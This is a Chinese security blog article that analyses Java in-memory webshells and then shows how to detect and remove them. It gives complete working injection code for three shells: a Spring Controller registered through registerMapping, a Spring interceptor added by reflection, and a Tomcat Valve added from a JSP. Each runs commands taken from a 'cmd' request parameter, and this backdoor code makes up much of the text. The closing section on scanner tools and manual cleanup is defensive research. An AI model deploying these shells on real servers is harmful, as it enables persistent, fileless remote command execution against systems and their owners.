java内存马分析之Spring与Tomcat value以及查杀

xiao1star2026-01-12文章来源:SecHub网络安全社区


Spring内存马

借助的是java文件

源码下载地址

GitHub - dk47os3r/SpringMemShell: Spring内存马检测和隐形马研究https://github.com/dk47os3r/SpringMemShell

Controller内存马

首先简单创建一个Spring项目,在这里打上断点,然后访问/api这个路由

20251219091330079.png

接着来到DispatcherServlet类下的doDispatch方法

20251219091329179.png

这个方法它的主要职责是处理 HTTP 请求并将请求分发给合适的处理器,然后进行处理,最后生成响应,我们可以看到红框中的内容调用ha.handle方法用于这个处理器进行请求的处理

20251219091331342.png

可以看到这个mappedHandler中的handler属性中存储着ApiController类中的相关信息,那么我们就看看这mappedHandler是从哪里来的

20251219091346944.png

可以看到是调用了getHandler方法获取到的

20251219091344954.png

接着就来到getHandler方法中,可以看到是遍历了一个handlerMappings(用于将请求映射到处理器),接着就从handlerMappings中找到与request对应的处理器,若找到了就返回该处理器

20251219091355403.png

可以看一下这个handlerMappings其实是来自于HandlerMapping这个接口

20251219091359348.png

本人用百度翻译了一些注释,其实这个接口定义了请求和处理程序对象之间映射的关系,而我们前面的handlerMappings就是存储了里面对应的关系

20251219091410873.png

接着我们回到这个getHandler中可以看到,又调用了HandlerMapping的getHandler

20251219091406376.png

我们来到这个方法中,查看其实现的类中,接着就来到AbstractHandlerMapping类中

20251219091404069.png

在该方法中有调用了getHandlerInternal来获取handler

20251219091417895.png

接着就来到RequestMappinginfoHandlerMapping

20251219091420068.png

可以看到又调用了其父类的getHandlerInternal方法

20251219091421316.png

最后就来到了AbstractHandlerMethodMapping类的getHandlerInternal方法中,首先是调用initLookupPath获取到获取请求的路径(去除上下文路径和 Servlet 路径)用于匹配 @RequestMapping 中定义的路径,接着获取到mappingRegistry的读锁,然后调用lookupHandlerMethod方法获取到对应的处理器方法

20251219091423831.png

我们来到lookupHandlerMethod方法中,它首先通过this.mappingRegistry.getMappingsByDirectPath查找匹配的地址,若找到了的话,就调用addMatchingMappings方法将其添加到Match队列中,然后就是Match队列的校验了,如果为空,就用mappingRegistry.getRegistrations()注册,Match集合不为空则从Match集合中找到最匹配的Match对象,并返回该Match对象的HandlerMethod对象。

20251219091426528.png

可以看到我们获取到directPathMatches获取到的内容就是MappingRegistrypathLookup属性中有关/api的信息

20251219091429056.png

那我们想,如果我们在mappingRegitry这个Map数组中添加一个恶意的RequestMappinginfo(存储这我们恶意类的信息),当我们访问这个路由进而指向恶意类导致攻击的实现

那么接下来我们看看如何对这个mappingRegitry进行写入操作的,我们find Usages,在AbstractHandlerMethodMapping类的registerMaping中调用了register方法进行注册操作也就是一个写入操作

20251219091430694.png

register方法的相关分析

20251219091432829.png

但是还不能实例化这个类直接实现这个registerMapping方法,因为这是一个抽象类

20251219091434280.png

我们就看其子类中是否有谁重写了这个方法,然后就来到了RequestMappingHandlerMapping类中

20251219091442387.png

可以看到这个类继承了RequestMappingInfoHandlerMapping类,而RequestMappingInfoHandlerMapping类又继承了AbstractHandlerMethodMapping类(如图二所示)

20251219091439309.png

20251219091436073.png

我们看看这个registerMapping其中第一个参数是RequestMapingInfo对象,第二个参数是实例化的恶意类,第三个参数是恶意类中的恶意方法

20251219091448850.png

接着我们就看看这个RequestMapingInfo的构造方法,这个构造方法用于创建一个RequestMappingInfo对象,封装了请求匹配的各种条件。每个参数都代表一种匹配条件,Spring MVC 在处理请求时会根据这些条件决定是否调用对应的处理器方法。如果某个参数为 null,表示该条件不参与匹配。这个构造方法呢共有7个参数

20251219091451016.png

20251219091453718.png

其中这不同参数所代表的内容如下所示

patterns:定义请求的路径匹配条件。

methods:定义请求的 HTTP 方法匹配条件。表示允许的 HTTP 方法,例如 ``GETPOST 等。确保只有指定的方法被允许处理请求

params:定义请求参数的匹配条件。用于匹配请求中是否包含指定的参数,或者参数是否满足特定条件。
headers:定义请求头的匹配条件。
consumes:定义请求体的媒体类型(Content-Type)匹配条件。
produces:定义响应体的媒体类型(Accept)匹配条件。
custom:定义自定义的请求匹配条件。

在这里面最重要的是PatternsRequestCondition patterns,他是用于设置url路径的,例如我们设置这个这个Controller类的路径为/test,那么当我们访问/test就会来到该Controller类中进行一些请求的处理,其他可以设置为null,想创建也可以直接创建。

如下代码是实例化了一个RequestMappingInfo对象

PatternsRequestCondition url = new PatternsRequestCondition("/good");//url路径 RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);

再往下就是如何创建一个RequestMappingHandlerMapping对象,进而调用registerMapping方法

20251219091456774.png

在之前DispatcherServlet类中的这个getHandler类中可以看到这个handdlerMapping中有一个RequestMappingHandlerMapping类,我们就看看这个是如何获取的

20251219091458578.png

我们直接查看哪里对handlerMapping进行了赋值操作

20251219091501284.png

接着就来到了inithandlerMappings方法中,可以看到这个是从ApplicationContext中获取所有的HandlerMapping,可以看到在else语句中可以通过getBean来获取到handlerMapping,那么我们接下来在哪里获取到ApplicationContext

20251219091503445.png

在之前的doService类中进行resquest设置的时候将webApplicationContext设置给了一个常量WEB_APPLICATION_CONTEXT_ATTRIBUTE,而这个WebApplication又继承了ApplicationContext,那么我们直接获取到webApplicationContext不就可以使用ApplicationContext中所有的方法了吗

20251219091506501.png

20251219091508124.png

20251219091512076.png

//获取WebApplicationContext WebApplicationContext webApplicationContext = (WebApplicationContext)RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE,0); //获取RequestMappingHandlerMapping RequestMappingHandlerMapping handler = webApplicationContext.getBean(RequestMappingHandlerMapping.class);

接着就直接调用RequestMappingHandlerMapping类的registerMapping方法进行注册操作,同时要注意参数的传递

InjectToController类–是我们的内存马代码

package exp; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class InjectToController { public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Method method2 = InjectToController.class.getMethod("test");//恶意方法 PatternsRequestCondition url = new PatternsRequestCondition("/good");//url路径 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); InjectToController injectToController = new InjectToController("aaaa");//获取恶意类对象 mappingHandlerMapping.registerMapping(info, injectToController, method2); } public InjectToController(String aaa) {} public void test() throws IOException{ HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); //exec try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ response.sendError(404); } }catch (Exception e){} } }

访问/test1文件就会实例化我们的恶意类,完成内存马写入到内存

20251219091516037.png

访问/test1,将内存马写入到内存

173926574695109932d7d98ff4dc88a6097f29da68d9c.png

访问/mappings成功发现了恶意类以及映射的url

20251219091518736.png

访问/good?cmd=calc成功弹出计算器

20251219091524497.png

interceptor内存马

首先一个interceptor拦截器需要继承HandlerInterceptor并且重写其preHandle方法

public class Myinterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException { //执行cmd中的指令并将结果返回 String cmd = request.getParameter("cmd"); if(cmd!=null){ Process exec = Runtime.getRuntime().exec(cmd); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream())); String line; while ((line = bufferedReader.readLine()) != null) { response.getWriter().println(line); } return false;//进行拦截 } System.out.println("preHandle"); return true; } }

接着还要写一个Config类来继承WebMvcConfigurer类来将这个拦截器添加进去同时指定要拦截的路径

@Configuration @EnableWebMvc public class Webconfig implements WebMvcConfigurer { @Override public void addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new Myinterceptor()).addPathPatterns("/my"); } }

20251219091528483.png

接下来就分析是如何将这个拦截器加载到这个项目中的,首先在preHandle上下断点开始调试

20251219091530621.png

首先我们先看这个doDispatch方法

20251219091531905.png

这个方法呢就是前面分析Controller内存马时,用于将目标请求对应到相应的Handler

20251219091534213.png

但是在其mappedHandler中除了有我们Controller中的handler,还有我们自己的interceptor,这个是在interceptorList当中,接下来我们就看我们自己的拦截器是如何添加到这个*interceptorList**中的,*那么首先我们就要看看哪里对mappedHandler进行了赋值操作

20251219091536566.png

在1045行进行了赋值操作,我们在这里打上断点

20251219091541978.png

步入到getHandler方法中并没有看到相关拦截器的操作,接着来到1265行步入看看

20251219091543932.png

接着可以看到这个handler只是获取到了我们自己Controller的,并没有拦截器

20251219091546814.png

接着我们一步步往下来,当调用getHandlerExecutionChain(handler, request)方法时发现成功获取到了我们自己的interceptor

20251219091549520.png

接着我们就进入到该方法中,在该方法中可以看到在这个方法中会遍历adaptedInterceptors参数然后对其进行判断之后调用addInterceptor方法将其添加其中,那么我们就要看哪里对adaptedInterceptors进行了操作,我们只要将我们自己的拦截器添加到这个adaptedInterceptors即可

20251219091554078.png

可以看到adaptedInterceptors属于一个List列表,那么我们只要实例化这个AbstractHandlerMapping然后添加即可,但是要注意这个类是一个抽象类,同时这个属性也是私有属性,但是我们前面也介绍了直接通过实例化RequestMappingHandlerMapping类就可以了,再利用反射获取到adaptedInterceptors即可

20251219091600495.png

实现过程如下

//获取WebApplicationContext WebApplicationContext webApplicationContext = (WebApplicationContext)RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE,0); //获取handlermapping RequestMappingHandlerMapping handler = webApplicationContext.getBean(RequestMappingHandlerMapping.class); //利用反射获取adaptedInterceptors Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); adaptedInterceptors.setAccessible(true); List<HandlerInterceptor> adlist = (List<HandlerInterceptor>)adaptedInterceptors.get(handler); adlist.add(new Myinterceptor()); return "inject success";

完整代码

public String aa() throws Exception { //获取WebApplicationContext WebApplicationContext webApplicationContext = (WebApplicationContext)RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE,0); //获取handlermapping RequestMappingHandlerMapping handler = webApplicationContext.getBean(RequestMappingHandlerMapping.class); //利用反射获取adaptedInterceptors Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); adaptedInterceptors.setAccessible(true); List<HandlerInterceptor> adlist = (List<HandlerInterceptor>)adaptedInterceptors.get(handler); adlist.add(new Myinterceptor()); return "inject success"; } public class Myinterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException { String cmd = request.getParameter("cmd"); if(cmd!=null){ Process exec = Runtime.getRuntime().exec(cmd); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream())); String line; while ((line = bufferedReader.readLine()) != null) { response.getWriter().println(line); } return false; } System.out.println("preHandle"); return true; } }

访问/aa会实现恶意类的实例化,完成注入

20251219091604453.png

接着输入我们的恶意指令

20251219091608780.png

Tomcat Valve内存马

什么是Valve

Valve就是一个阀门,是Tomcat中各个连接某些org.apache.catalina.Contained实例的责任链抽象接口

它的使用场景:能在更高层次(Filter甚至Host之前)处理Request和Response对象

20251219091613812.png

从架构图我们能看到Engine,Host和Context之间有个Valve。

什么是Pipeline

20251219091615792.png

Pipeline就相当于管道,Tomcat 的每一层容器(Engine、Host、Context、Wrapper)都可以拥有自己的 Pipeline(管道),每个 Pipeline 由一组 Valve(阀门)组成,按顺序处理请求。每个Pipeline里面都有一个执行顺序位于最后的基础阀门,负责将请求传递到下层容器的Pipeline,同时我们又可以在每个管道中添加自定义的阀门。

内存马分析

创建一个tomcat项目,然后导入pom中导入如下依赖

<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.98</version><!-- 你自己的tomcat版本--> </dependency>

可以看到在Pipeline接口中有一个addValve方法可以添加自定义的Valve

20251219091619400.png

注意这个机制是Tomcat的仅有机制,并非像前面分析的Servlet内存马一样通用,同时其优先级要高于Servlet/Filter/Listener以及Spring的内存马

那么现在我们就需要利用这个Pipeline接口来添加一个自定义的Valve,那么我们怎么得到一个容器的Pipeline

可以看到在这个Container容器接口中可以看到有一个getPipeline方法,也就是说每个容器都会有这个方法

20251219091620117.png

Ctrl+Shift+H可以看到其层次结构在Engine、Host、Context、Wrapper中都有调用这个方法

20251219091622095.png

我们启动一个Servlet项目可以看到在项目运行时调用了一系列的Valve,可以看到里面有一个我们比较熟悉的StandardContextValve阀门

20251219091624797.png

可以看到在这个类中继承了ValveBase类然后重写其Invoke方法然后调用了StandardContext对象获取到Pipeline

20251219091626233.png

那么我们就可以获取到StandardContext对象(在前面Servlet内存马分析时有说到)然后调用getPipeline获取到Pipeline对象,接着调用addValve添加一个恶意的Valve类,这个类还继承了ValveBase 重写其invoke方法

完整代码

<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Pipeline" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! //恶意的阀门类需要继承ValveBase类 public class MainValve extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); } } %> <% //获取StandardContext ServletContext servletContext = request.getServletContext(); Field ApplicationContextFiled = servletContext.getClass().getDeclaredField("context"); ApplicationContextFiled.setAccessible(true); ApplicationContext applicationConetext = (ApplicationContext)ApplicationContextFiled.get(servletContext);//获取context属性值 Field standardContextFiled = applicationConetext.getClass().getDeclaredField("context"); standardContextFiled.setAccessible(true); StandardContext context = (StandardContext) standardContextFiled.get(applicationConetext); Pipeline pipeline = context.getPipeline(); pipeline.addValve(new MainValve()); %>

首先访问我们恶意jsp文件

20251219091630932.png

接着输入恶意的指令

20251219091634719.png

内存马查杀

内存马的检测思路

1.通过Java应用的接口,获取tomcat JVM里面加载的类

2.遍历所有的类,判断是否为风险类

a.内存注册,但是磁盘中没有文件

b.class文件中包含恶意代码

检测工具

java-memshell-scanner

无法检测Spring和Agent内存

不支持低版本的tomcat,需要tomcat8以上的版本https://github.com/fany0r/java-memshell-scanner

下载完成后将tomcat-memshell-scanner.jsp访问到java项目中

20251219091638470.png

访问http://localhost:8089/Tomcat_war/tomcat-memshell-scanner.jsp,可以看到得到检测出来的恶意内存马中Filter class File path框中都有xxx_jsp$xxx.Class

20251219091641175.png

20251219091642812.png

当我们输入cmd=dir就会弹出计算机

20251219091644539.png

当我们点击kill按钮将其杀死,注意这里本人发现Listener的内存马杀不掉

20251219091646945.png

再访问cmd1=dir发现就会不命令执行了

20251219091648924.png

sa-jdi

这是使用jdk中自带的工具

首先来到所下载的jdk(如果是多版本请选择当前项目所使用的java版本)的sa-jdi.jar的目录下,cmd命令输入java -cp .\sa-jdi.jar sun.jvm.hotspot.HSDB

20251219091653607.png

20251219091651630.png

接着查看当前运行的项目的进程号,我们运行的是Spring内存马的项目

输入jps -l查看,发现我们的进程号是15648

20251219091701354.png

点击File->Attach to HotSpot process,输入15648

20251219091657221.png

接着Tools->Class Browser

20251219091709641.png

就可以一一排查项目中所有的Class类(包括已存在的内存马)

20251219091711249.png

20251219091715754.png

shell-analyzer

范围:任何实现了Servlet规范的中间件都可以查杀

本地连接

https://github.com/4ra1n/shell-analyzer

需要java11的版本

在所在文件的目录下,新建一个bat

里面内容如下,用于指定java版本来运行该jar文件

@echo off
cmd /k "start D:\Java\jdk11\bin\java -jar gui-0.1.jar"

20251219091720427.png

20251219091718630.png

再次进行命令执行就无法执行了

20251219091723848.png

远程查杀

首先要将agent.jar和remote-0.1.jar传到远程主机上

20251219091724752.png

然后在远程主机上执行如下命令

linux

jdk1.8.0_202/bin/java -cp remote.jar:jdk1.8.0_202/lib/tools.jar com.chaitin.RemoteLoader 8323 xiaostar

windows

"D:\Java\jdk8\bin\java" -cp remote-0.1.jar;"D:\Java\jdk8\lib\tools.jar" com.n1ar4.RemoteLoader 8328 xiaostar

20251219091729801.png

8328–代表远程主机对应的项目的进程号

xiaostar–是长度为8的token

接着在本地进行连接

20251219091732307.png

20251219091733750.png

河马查杀

该工具只能检测出Servlet中的内存马,我们这个文件中有Servlet内存马和Spring内存马

20251219091736268.png

查杀结果

20251219091737708.png

内存马手动查杀

1.有文件情况

如果有文件,找到文件,确定内存马的路径,查看日志,

2.无文件情况

查找可疑路径,与开发协商是否是手册中存在的路径

不死内存马存在情况:计划任务、定时任务。查看这两种任务,若有可疑任务,删除任务,同时确定路径、确定文件是从哪个进来的,对入口点进行防御

内存马的自动分析与查杀https://www.cnblogs.com/slll/p/15937034.html

干货|冰蝎、哥斯拉 内存马应急排查方式汇